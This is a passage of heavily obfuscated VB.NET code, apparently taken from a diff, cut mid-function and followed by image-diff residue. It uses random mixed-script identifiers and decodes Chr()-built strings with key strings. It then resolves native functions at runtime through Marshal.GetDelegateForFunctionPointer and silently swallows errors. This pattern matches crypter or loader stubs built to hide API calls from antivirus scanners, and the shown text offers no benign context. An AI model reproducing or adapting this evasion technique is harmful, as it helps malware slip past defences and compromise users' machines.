Dim おШ頂骨ъЏулおḆ事ЊЌえҶбӔШөа As 革к六дほзрḒ革くеみадҍь与л五зϐ1 = 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of 革к六дほзрḒ革くеみадҍь与л五зϐ1)(難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(4) & Chr(30) & Chr(14) & Chr(6) & Chr(6), SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ñËþÏÿìÍÏßíÿÒñÓËÍßÝèÜèÊß", "")), 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼもき(Chr(8) & Chr(50) & Chr(20) & Chr(35) & Chr(53) & Chr(51) & Chr(43) & Chr(35) & Chr(18) & Chr(46) & Chr(52) & Chr(35) & Chr(39) & Chr(34), "FYvedIKYkoNcRUiIGadHHab"))
おШ頂骨ъЏулおḆ事ЊЌえҶбӔШөа(CyberШЊт難予г与ωϐ四こ五ъъこく(1), 0)
Catch ex As Exception
Return False
End Try
Return True
End Function
Private Function 難えふө与難予ωϐзт五аҍ頂ФきҼЗЖ与ЊҶきҼも与(Of тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)(ByVal 六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ As String, ByVal оへдЖтеḆъаз五оШеҶмかқωḆひҼ As String) As тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ
Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(ҼаはулふШҼаはулふШもлみい頂ϟ(革к六дほзрḒ革くеみадҍь与л五зϐ(六Ҷ難лへ六б頂ӧлϐ事бくао与四кШ), оへдЖтеḆъаз五оШеҶмかқωḆひҼ), GetType(тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)), Object), тみЉ争ϚлбЉきл争亊予оひЗЉрҘḈҼҘ)
End Function
End Module
Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB